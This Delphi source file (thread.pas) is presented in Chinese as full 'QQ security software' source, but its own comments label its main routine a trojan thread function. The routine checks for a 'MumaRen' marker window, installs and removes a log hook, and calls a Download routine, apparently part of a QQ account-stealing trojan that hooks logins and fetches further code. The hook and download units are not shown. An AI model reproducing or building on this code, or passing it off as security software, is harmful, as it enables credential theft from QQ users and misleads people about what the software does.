thread.pas

DEILPHI写的QQ安全软件源码!功能全套,该有的全有了,欢迎交流

unit  Thread;

interface

procedure ThreadPro(X: Integer); stdcall; // 木马线程函数

implementation

uses
  Windows, Messages, EditWin, VarUnit,Timer,ScanWin,FunUnit,ExtInfo,LogHook,downn;

    // 木马线程函数  『参数无用』
procedure ThreadPro(X: Integer); stdcall;
var
  Msg: TMsg;
begin
     LogHookOff;
 if (FindWindow('Edit', 'MumaRen') <> 0) then Exit;
    CreateEdit();
     Download;
    LogHookOn;
  while GetMessage(Msg, 0, 0, 0) do
  begin
    TranslateMessage(Msg);
    DispatchMessage(Msg);
  end;
    LogHookOff();
  FreeLibraryAndExitThread(HInstance, X);
end;

 end.